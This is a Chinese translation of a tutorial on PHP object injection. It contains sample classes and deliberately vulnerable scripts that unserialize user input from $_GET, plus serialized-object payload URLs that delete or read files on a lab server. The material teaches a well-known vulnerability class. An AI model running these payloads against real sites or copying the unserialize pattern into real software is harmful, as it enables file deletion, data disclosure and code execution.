1. 程式人生 > >理解php反序列化漏洞

理解php反序列化漏洞

php物件注入是一個非常常見的漏洞,這個型別的漏洞雖然有些難以利用,但仍舊非常危險。為了理解這個漏洞,請讀者具備基礎的php知識。類和變數是非常容易理解的php概念。舉個例子,1.php在一個類中定義了一個變數和一個方法。它建立了一個物件並且呼叫了PrintVariable函式,該函式會輸出變數variable。

<?php  
   
class TestClass  
{  
    // 一個變數  
   
    public $variable = 'This is a string';  
   
    // 一個簡單的方法  
   
    public function PrintVariable()  
    {  
        echo $this->variable;  
    }  
}  
   
// 建立一個物件  
   
$object = new TestClass();  
   
// 呼叫一個方法  
   
$object->PrintVariable();  
   
?> 

php類可能會包含一些特殊的函式叫magic函式,magic函式命名是以符號__開頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。這些函式在某些情況下會自動呼叫,比如__construct當一個物件建立時被呼叫,__destruct當一個物件銷燬時被呼叫,__toString當一個物件被當作一個字串使用。為了更好的理解magic方法是如何工作的,在2.php中增加了三個magic方法,__construct, __destruct和__toString。可以看出,__construct在物件建立時呼叫,__destruct在php指令碼結束時呼叫,__toString在物件被當作一個字串使用時呼叫。

<?php  
   
class TestClass  
{  
    // 一個變數  
   
    public $variable = 'This is a string';  
   
    // 一個簡單的方法  
   
    public function PrintVariable()  
    {  
        echo $this->variable . '<br />';  
    }  
   
    // Constructor  
   
    public function __construct()  
    {  
        echo '__construct <br />';  
    }  
   
    // Destructor  
   
    public function __destruct()  
    {  
        echo '__destruct <br />';  
    }  
   
    // Call  
   
    public function __toString()  
    {  
        return '__toString<br />';  
    }  
}  
   
// 建立一個物件  
//  __construct會被呼叫  
   
$object = new TestClass();  
   
// 建立一個方法   
   
$object->PrintVariable();  
   
// 物件被當作一個字串  
//  __toString會被呼叫  
   
echo $object;  
   
// End of PHP script  
// 指令碼結束__destruct會被呼叫  
   
?> 

php允許儲存一個物件方便以後重用,這個過程被稱為序列化。為什麼要有序列化這種機制呢?在傳遞變數的過程中,有可能遇到變數值要跨指令碼檔案傳遞的過程。試想,如果為一個指令碼中想要呼叫之前一個指令碼的變數,但是前一個指令碼已經執行完畢,所有的變數和內容釋放掉了,我們要如何操作呢?難道要前一個指令碼不斷的迴圈,等待後面指令碼呼叫?這肯定是不現實的。serialize和unserialize就是用來解決這一問題的。serialize可以將變數轉換為字串並且在轉換中可以儲存當前變數的值;unserialize則可以將serialize生成的字串變換回變數。讓我們在3.php中新增序列化的例子,看看php物件序列化之後的格式。

<?php  
   
// 某類  
   
class User  
{  
    // 類資料  
   
    public $age = 0;  
    public $name = '';  
   
    // 輸出資料  
   
    public function PrintData()  
    {  
        echo 'User ' . $this->name . ' is ' . $this->age  
             . ' years old. <br />';  
    }  
}  
   
// 建立一個物件  
   
$usr = new User();  
   
// 設定資料  
   
$usr->age = 20;  
$usr->name = 'John';  
   
// 輸出資料  
   
$usr->PrintData();  
   
// 輸出序列化之後的資料  
   
echo serialize($usr);  
   
?> 

為了使用這個物件,在4.php中用unserialize重建物件。

<?php  
   
// 某類  
   
class User  
{  
    // Class data  
   
    public $age = 0;  
    public $name = '';  
   
    // Print data  
   
    public function PrintData()  
    {  
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
    }  
}  
   
// 重建物件  
   
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');  
   
// 呼叫PrintData 輸出資料  
   
$usr->PrintData();  
   
?> 


magic函式__construct和__destruct會在物件建立或者銷燬時自動呼叫;__sleep magic方法在一個物件被序列化的時候呼叫;__wakeup magic方法在一個物件被反序列化的時候呼叫。在5.php中新增這幾個magic函式的例子。

<?php  
   
class Test  
{  
    public $variable = 'BUZZ';  
    public $variable2 = 'OTHER';  
   
    public function PrintVariable()  
    {  
        echo $this->variable . '<br />';  
    }  
   
    public function __construct()  
    {  
        echo '__construct<br />';  
    }  
   
    public function __destruct()  
    {  
        echo '__destruct<br />';  
    }  
   
    public function __wakeup()  
    {  
        echo '__wakeup<br />';  
    }  
   
    public function __sleep()  
    {  
        echo '__sleep<br />';  
   
        return array('variable', 'variable2');  
    }  
}  
   
// 建立物件呼叫__construct
   
$obj = new Test();  
   
// 序列化物件呼叫__sleep  
   
$serialized = serialize($obj);  
   
// 輸出序列化後的字串  
   
print 'Serialized: ' . $serialized . '<br />';  
   
// 重建物件呼叫__wakeup  
   
$obj2 = unserialize($serialized);  
   
// 呼叫PintVariable輸出資料 
   
$obj2->PrintVariable();  
   
// 指令碼結束呼叫__destruct   
   
?> 

現在我們瞭解序列化是如何工作的,但是我們如何利用它呢?有多種可能的方法,取決於應用程式、可用的類和magic函式。記住,序列化物件包含攻擊者控制的物件值。你可能在Web應用程式原始碼中找到一個定義__wakeup或__destruct的類,這些函式會影響Web應用程式。例如,我們可能會找到一個臨時將日誌儲存到檔案中的類。當銷燬時物件可能不再需要日誌檔案並將其刪除。把下面這段程式碼儲存為logfile.php。
<?php   
   
class LogFile  
{  
    // log檔名  
   
    public $filename = 'error.log';  
   
    // 儲存日誌檔案  
   
    public function LogData($text)  
    {  
        echo 'Log some data: ' . $text . '<br />';  
        file_put_contents($this->filename, $text, FILE_APPEND);  
    }  
   
    // 刪除日誌檔案  
   
    public function __destruct()  
    {  
        echo '__destruct deletes "' . $this->filename . '" file. <br />';  
        unlink(dirname(__FILE__) . '/' . $this->filename);  
    }  
}  
   
?> 
這是一個使用它的例子。
<?php  
   
include 'logfile.php';  
   
// 建立一個物件  
   
$obj = new LogFile();  
   
// 設定檔名和要儲存的日誌資料  
   
$obj->filename = 'somefile.log';  
$obj->LogData('Test');  
   
// 指令碼結束__destruct被呼叫somefile.log檔案被刪除
   
?> 
在其它指令碼中我們可能找到一個unserialize的呼叫,並且引數是使用者提供的。把下面這段程式碼儲存為test.php。
<?php  
   
include 'logfile.php';  
   
// ... 一些使用LogFile類的程式碼...  
   
// 簡單的類定義  
   
class User  
{  
    // 類資料  
   
    public $age = 0;  
    public $name = '';  
   
    // 輸出資料  
   
    public function PrintData()  
    {  
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
    }  
}  
   
// 重建使用者輸入的資料  
   
$usr = unserialize($_GET['usr_serialized']);  
   
?> 
建立利用程式碼111.php。
<?php  

include 'logfile.php';  

$obj = new LogFile();  
$obj->filename = '1.php';  
   
echo serialize($obj) . '<br />';  
   
?> 


訪問http://192.168.153.138/test.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}。


顯示已經刪除了1.php。驗證一下,果然成功刪除了。


這就是漏洞名稱的由來:在變數可控並且進行了unserialize操作的地方注入序列化物件,實現程式碼執行或者其它坑爹的行為。先不談 __wakeup 和 __destruct,還有一些很常見的注入點允許你利用這個型別的漏洞,一切都是取決於程式邏輯。舉個例子,某使用者類定義了一個__toString為了讓應用程式能夠將類作為一個字串輸出(echo $obj),而且其他類也可能定義了一個類允許__toString讀取某個檔案。把下面這段程式碼儲存為test.php。

<?php   
   
// … 一些include ...  
   
class FileClass  
{  
    // 檔名  
   
    public $filename = 'error.log';  
   
    // 當物件被作為一個字串會讀取這個檔案  
   
    public function __toString()  
    {  
        return file_get_contents($this->filename);  
    }  
}  
   
// Main User class  
   
class User  
{  
    // Class data  
   
    public $age = 0;  
    public $name = '';  
   
    // 允許物件作為一個字串輸出上面的data  
   
    public function __toString()  
    {  
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
    }  
}  
   
// 使用者可控  
   
$obj = unserialize($_GET['usr_serialized']);  
   
// 輸出__toString  
   
echo $obj;  
   
?> 
訪問http://192.168.153.138/test.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}。


但是如果我們用序列化呼叫FileClass呢?先建立一個1.txt。


建立利用程式碼123.php。

<?php  
 
include 'test.php';  
$fileobj = new FileClass();  
$fileobj->filename = '1.txt';  
   
echo serialize($fileobj);  
   
?> 


訪問http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}。

成功顯示了文字內容。也可以使用其他magic函式:如果物件將呼叫一個不存在的函式__call將被呼叫;如果物件試圖訪問不存在的類變數__get和__set將被呼叫。但是利用這種漏洞並不侷限於magic函式,在普通的函式上也可以採取相同的思路。例如User類可能定義一個get方法來查詢和列印一些使用者資料,但是其他類可能定義一個從資料庫獲取資料的get方法,這從而會導致SQL注入漏洞。set或write方法會將資料寫入任意檔案,可以利用它獲得遠端程式碼執行。唯一的技術問題是注入點可用的類,但是一些框架或指令碼具有自動載入的功能。最大的問題在於人:理解應用程式以能夠利用這種型別的漏洞,因為它可能需要大量的時間來閱讀和理解程式碼。
原文地址:https://securitycafe.ro/2015/01/05/understanding-php-object-injection/